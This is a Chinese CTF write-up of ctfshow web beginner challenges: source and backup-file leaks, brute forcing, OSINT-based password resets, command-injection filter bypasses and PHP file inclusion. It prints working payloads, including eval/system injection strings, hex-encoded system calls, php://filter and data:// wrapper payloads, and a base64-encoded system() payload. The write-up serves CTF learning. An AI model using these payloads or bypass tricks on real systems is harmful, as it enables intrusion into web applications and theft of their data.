ctfshow Web入门1-20+
web信息搜集
web1 源码
F12查看源代码或者Ctrl+U都可以
web2 js前台拦截
做法和1一样,只是过滤了F12只能用Ctrl+U
web3 响应头
![RXIQJ
{1K6DO_4CZ_P6L7.png
抓个包,flag在返回包
web4 robots.txt
![Z7%XMFK8K@4AKJ)PZ6ON5N.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1677043952287-7635ccc6-ec45-4ebd-ab71-7b4bfdafd370.png#averageHue=%23fefefe&clientId=u0fe8cba9-a182-4&from=paste&height=29&id=u3f891280&originHeight=44&originWidth=498&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=9333&status=done&style=none&taskId=u3b6203ae-b6c4-4cdb-8a3c-dac9a5191f2&title=&width=332) 提示有说到robots 所以查看robots.txt ![29D2B])$T0@{
E]R{H2UBG.png
查看/flagishere.txt
![J{Y}JKO%WN(W]JKGL800_F.png
web5 index.phps
![{Y7%9MV9_4IP$%UI$3%K4K.png
看到提示,和php源码有关熟悉
phps文件泄露,phps存放着php源码,可通过尝试访问/index.phps读取,或者尝试扫描工具扫描读取。
![]E{8]~4OZKRSA)ISPE{HF15.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1677044838819-72af1bfb-b50a-4685-b5b8-33053c231605.png#averageHue=%23dee3e6&clientId=u0fe8cba9-a182-4&from=paste&height=27&id=u348f1b25&originHeight=41&originWidth=748&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=6773&status=done&style=none&taskId=ud9e76abe-9634-446f-9809-498c3b61380&title=&width=498.6666666666667)、
会下载一个php文件
![SI{N%L]V41]5FP3DE}AU1CO.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1677044884696-c1cd8339-3578-4d88-b01b-9b962f364eff.png#averageHue=%23fdfbf2&clientId=u0fe8cba9-a182-4&from=paste&height=607&id=ucc47cc82&originHeight=911&originWidth=1540&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=92001&status=done&style=none&taskId=u9bf846f9-9aa8-4198-bf4f-b712eda3788&title=&width=1026.6666666666667)
打开文件注释里就有flag
web6 www.zip
网站备份压缩文件 漏洞成因
在网站的升级和维护过程中,通常需要对网站中的文件进行修改。此时就需要对网站整站或者其中某一页面进行备份。
当备份文件或者修改过程中的缓存文件因为各种原因而被留在网站 web 目录下,而该目录又没有设置访问权限时,便有可能导致备份文件或者编辑器的缓存文件被下载,导致敏感信息泄露,给服务器的安全埋下隐患。
该漏洞的成因主要有是管理员将备份文件放在到 web 服务器可以访问的目录下。
该漏洞往往会导致服务器整站源代码或者部分页面的源代码被下载,利用。源代码中所包含的各类敏感信息,如服务器数据库连接信息,服务器配置信息等会因此而泄露,造成巨大的损失。
被泄露的源代码还可能会被用于代码审计,进一步利用而对整个系统的安全埋下隐患。
.rar .zip .7z .tar.gz .bak .swp .txt
输入常见的源码包名字www.zip
会下载一个压缩包
压缩包里的文件提示flag在/fl000g.txt
直接访问得到flag
web7 git
![0)$N]_1)YBAUAB87GZU
6A.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1677125012645-f55fa602-0d66-4ae7-9bdd-15e8bea778a5.png#averageHue=%23fefefe&clientId=u6cdcc7c3-9f7d-4&from=paste&height=41&id=u98233143&originHeight=61&originWidth=473&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=8731&status=done&style=none&taskId=uc55c4141-3a93-4d5b-93b9-3f6e2ad98b5&title=&width=315.3333333333333)
根据提示
版本控制,想到常用的版本控制工具git,svn,尝试访问.git和.svn,在.git中发现flag
此题通过访问/.git/即可获得flag
![O(1{MQJ]]R}`RCDS$EBNN.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1677125286113-fbbda996-71a2-492a-a2f4-468cc1dc5410.png#averageHue=%23e0c088&clientId=u6cdcc7c3-9f7d-4&from=paste&height=76&id=u61e48cbf&originHeight=114&originWidth=952&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=19624&status=done&style=none&taskId=u89795bc1-b389-4837-af5b-4b99a31b505&title=&width=634.6666666666666)
web8 svn
版本控制器,不是git泄露就是svn泄露
此题通过访问/.svn/即可获得flag
web9 vim缓存
通过访问index.php.swp,访问首页中的交换文件下载缓存文件
![`1G~AE9PGWZP)OU9]HZS]VC.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1677125882634-5a0a0b28-9dcf-4d58-bd1d-01a7e249b6f5.png#averageHue=%23e7eaed&clientId=u6cdcc7c3-9f7d-4&from=paste&height=37&id=u9704d7ab&originHeight=55&originWidth=198&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=2372&status=done&style=none&taskId=u94c3cc8c-50db-4c5c-9f83-ad3ef31db9b&title=&width=132)
vim缓存泄露,在使用vim进行编辑时,会产生缓存文件,操作正常,则会删除缓存文件,如果意外退出,缓存文件保留下来,这是时可以通过缓存文件来得到原文件,以index.php来说,第一次退出后,缓存文件名为 .index.php.swp,第二次退出后,缓存文件名为.index.php.swo,第三次退出后文件名为.index.php.swn
web10 cookie
查看cookie方法教程
https://jingyan.baidu.com/article/fedf073780da6335ac897799.html
抓个包,就在里面
然后解码就可以了
web11 域名解析
这题应运了域名解析查询
flag就在txt中
web12 公开信息
根据提示在网页最下面发现电话号码
根据提示访问admin文件
登录成功后就可以找到flag
web13 技术文档敏感信息
页面滑道最下方发现小写的document
访问即可获得一些敏感信息
注意这里是.pdf文件
然后通过访问/system1103/login.php,并用其泄露的账号密码进行登录
就可以找到flag
web14 editor
根据题目访问/editor/
在编辑器中有很多个地方有 xx 空间,在里面可以看到很多目录
在其图片空间中找到flag路径
/editor/attached/image/var/www/html/nothinghere/fl000g.txt
/nothinghere/fl000g.txt
访问得到 flag
web15 邮箱泄露
进入网址后可以在底部看到一个qq邮箱地址
通过搜索这个QQ号,可以知道这个号主是陕西西安人
进入admin
发现有一个忘记密码
发现密保问题是我所在的城市
输入西安就可以重置密码
登录就可以获得flag
web16 tz.php
题目提示对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露
通过提示我们直接访问tz.php
点击PHPinfo
就可以找到flag了
web17 backup.sql
![O9NE4VVMU[L`B{BZJTD5FH.png
根据提示直接访问backup.sql
在下载的文件里就有flag
web18 js
这类题都是查看源码
找js文件
找到胜利条件
解密
根据谐音\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b
访问110.php
得到答案
web19 前端密钥
查看源代码
·
web20 mdb文件
mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱库了。
原理:mdb文件是早期asp+access构架的数据库文件 直接查看url路径添加/db/db.mdb 下载文件通过二进制编辑软件打开或者通过EasyAccess.exe打开搜索flag即可
根据题目提示访问路径/db/db.mdb,下载mdb文件
用access打开发现有问题打不开用Excel打开
![1YU50MZ_GY}}FOHAY93C7N.png
web爆破
web21(custom iterator+编码)
注意到有一串base64密文
解密后发现是加密后的账号和密码
然后爆破
导入字典
因为base64有=所以要关掉
爆破
web22(子域名爆破)
用Layer子域名爆破,找到flag.ctfer.com
web23(substr函数和爆破脚本)
![MT[%9H]Y}~R]F%1HMUYTP4.png
substr() 函数返回字符串的一部分
用法
![QQRFRWKTNCQCRY]$WG3$BWP.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679752940360-cb523fe2-2d5c-4c6c-9601-057aff8d67f7.png#averageHue=%23fcfbfb&clientId=u8ce4f912-6483-4&from=paste&height=349&id=u2b6874b7&originHeight=524&originWidth=1413&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=81695&status=done&style=none&taskId=uead32a28-22f8-4a61-9be9-a3cd75605e4&title=&width=942)
自定义爆破,就是太慢了
<?php
error_reporting(0);
$string = '0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm';
for($a=0;$a<strlen($string);$a++){
for($b=0;$b<strlen($string);$b++){
for($c=0;$c<strlen($string);$c++){
$flag = $string[$a].$string[$b].$string[$c];
$token = md5($flag);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag."\n";
}
}
}
}
}
?>
两种方法都可以
随便选一个就可以
![)I)%@Y3HZN`FAHK]GG~TD6D.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679754180048-bacd5eb8-b7fd-46a2-b18e-094820b86f70.png#averageHue=%23ececec&clientId=u8ce4f912-6483-4&from=paste&height=42&id=uf851d16c&originHeight=63&originWidth=417&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=6579&status=done&style=none&taskId=u7718f6f4-2e47-4537-94a9-0663fcf1295&title=&width=278)
web24(随机数生成器与取整)
mt_srand()函数用法
播种 Mersenne Twister 随机数生成器
**intval() **函数用于获取变量的整数值
这道题显然是伪随机数,真正的随机数是不可能的。
在php中,当mt_srand即种子被确定后,后面生产的随机数都可以计算出来。
ctfshow{49fe81ca-b6a7-493b-ade9-36fadd0f6c97}
web25(伪随机数)
php的伪随机数,结合代码审计。根据题目开始输入r=0,可以得到第一次伪随机数的相反数。也即可以得到第一次伪随机数。
![R_REU%7B2%WFVDPRMWPF.png
mt_rand=452052685
这个没搞太明白,找大佬的答案QAQ
web26
在同意界面抓包
这个题有非预期
![9D79J4C2%HW6H[4BR$AP`5.png
这样直接出flag
正常做是这样
字典用web21就可以了
web27(日期爆破)
对身份证的日期爆破
![O_(0AKCH]Q(YN[]I{6LU.png
登录就可以得到
web28(暴力破解目录)
![9W65U3IY)V`XQO5SVQJBVK.png
发现没有其它提示,直接抓包
![_M]ZD2}6Z)GBXG6))XN9I1.png
提示要对目录爆破
web命令执行
web29(cat与cp命令和?*的应用)
方法:1
应用cp命令后直接查看flag
![TX[C2IC$L@HXX[_)DSQA.png
方法:2
![1JG8M(6KO_O0_BQ)7XP`~I.png
web30(反引号``的应用)
![Q4O(CDZB31ESX9%IOO@)(N.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679813002982-a4823df8-60b3-4f57-9699-88794945e59a.png#averageHue=%23242529&clientId=ub5610d1e-08d6-4&from=paste&height=553&id=u23e4fcb7&originHeight=829&originWidth=649&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=72803&status=done&style=none&taskId=u32ecf58d-3590-4857-868d-bb87e3b3295&title=&width=432.6666666666667) ![($XJS3
O]VH6NCWI)_0]~7.png
web31(空格过滤,cat过滤)
cat过滤时,可以替代绕过的姿势
1.tac:从最后一行开始显示,是cat的反向显示
2.more:一页一页的显示档案内容
3.less:与more类似
4.head:查看文档的前几行
5.tail:查看文档的后几行
6.nl:显示的时候,顺便输入行号
7.od:以二进制的方式读取档案内容
8.vi:一种编辑器
9.uniq:查看
10.vim:一种编译器
空格过滤时,可以替代绕过的姿势
1.${IFS}
2.$IFS$1
3.${IFS
4.%20
5.<和<>重定向符
6.%09
![T89$%MO48]2W{IK~J_I)L}V.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679814154383-a068244d-f1a2-4986-9ea9-7780a2cbb1b1.png#averageHue=%23fefefe&clientId=ub5610d1e-08d6-4&from=paste&height=772&id=ua368e75f&originHeight=1158&originWidth=1178&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=61548&status=done&style=none&taskId=u445d1173-2032-4561-a534-9d880338d8b&title=&width=785)
![T89$%MO48]2W{IK~J_I)L}V.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679814140170-584a4e5d-2669-4916-9202-99eaf4fdd276.png#averageHue=%23fefefe&clientId=ub5610d1e-08d6-4&from=paste&height=772&id=u542e7c4d&originHeight=1158&originWidth=1178&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=61548&status=done&style=none&taskId=u9dd78ec4-2538-4c0c-81f9-e4d3cc7ecf2&title=&width=785)
再附上大佬们的payload
?c=eval($_GET[1]);&1=system('cat flag.php');嵌套脱离了c的正则判断
?c=echostrings%09f*
;
?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()。
web32(嵌套文件包含,利用伪协议文件包含,再base64解码)
没有分号,最后一个语句可以使用?>来绕,没有空格可以用%0a来绕过
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
但是如果直接包含flag.php,发现啥都没有,因为flag.php包含进去了,但是并没有输出,所以要用伪协议再base64解码
如果include被过滤了,可以用require来代替
![(SVI%WE)LBD9D]%$`AJQH_F.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679816541432-e6c73fdf-7347-4801-8dfe-533456976c50.png#averageHue=%236c89a0&clientId=u00e655bd-ef75-4&from=paste&height=438&id=uc40ac7cd&originHeight=657&originWidth=1224&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=217011&status=done&style=none&taskId=uc378b3fc-241a-45ae-8ee1-f5241f22d37&title=&width=816)
gpt的解释
web33(伪协议)
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
web34~36(include)
其中36需要用字母(这里可以不用单引号,目的是为了向下兼容)
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
不用括号的函数
echo print isset unset include require
$0a 换行的意思
这里用文件包含,然后继续用LFI
/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web37(data协议)
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
这里使用data协议,先试试能不能执行
?c=data://text/plain,<?php system("mv fla?.php 1.txt")?>
web38(短标签)
data://text/plain,<?=system("mv fla?.php 1.txt")?>
web39
http://9f117863-a5fd-4df5-a337-89a201ae1cf9.challenge.ctf.show/?c=data://text/plain,
web40
web文件包含
web78(base64-encode)
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
这里使用
?file=php://filter/read=convert.base64-encode/resource=flag.php
两个都可以
?file=php://filter/convert.base64-encode/resource=flag.php
![5%_910_5]547JEAGSK3J870.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679922302436-687fcf7b-1085-4e91-b3eb-da147fda9add.png#averageHue=%23aaaaa9&clientId=ube50a0b6-5121-4&from=paste&height=959&id=u2eb22936&originHeight=1439&originWidth=2560&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=344434&status=done&style=none&taskId=u940ed0c7-94da-47f4-ba9f-bf9ac2c52db&title=&width=1706.6666666666667)
方法2:
bp抓包,给file传参?file=php://input然后在post输出想要执行的代码
![B4_ID087IUC]R$29_JIJSRM.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679922177462-558e988c-91ba-48b5-8e52-04bfa0af402d.png#averageHue=%23e6b08a&clientId=ube50a0b6-5121-4&from=paste&height=347&id=ua3325afb&originHeight=520&originWidth=1179&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=171117&status=done&style=none&taskId=ud35e456e-7db5-427c-b4d6-24f3b9b9825&title=&width=786)
![GUU8S1(ZX8@QI7WH]60A@V.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1679922211335-3d9729d3-0a8f-4134-846e-6e427b65d309.png#averageHue=%23f9f5f5&clientId=ube50a0b6-5121-4&from=paste&height=97&id=u2e9ce82a&originHeight=146&originWidth=600&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=25549&status=done&style=none&taskId=u1dec0cfd-7797-4d7e-b429-fe4372d61c3&title=&width=400) ![X)V$5V(3K09T)M}Z
LI99G.png
web79(str_replace)
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
知识点:str_replace
str_replace — 子字符串替换
str_replace(
array|string $search,
array|string $replace,
string|array $subject,
int &$count = null
): string|array
实例
把字符串 "Hello world!" 中的字符 "world" 替换为 "Shanghai":
php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码
payload:?file=data://text/plain,<?= system('tac flag.???');?>
逗号后面是要执行的php代码
或者
payload:?file=data://text/plain;base64,PD89IHN5c3RlbSgndGFjIGZsYWcuPz8/Jyk7Pz4=
逗号后面是要执行的php代码的base64加密形式
注:data://可以用data:代替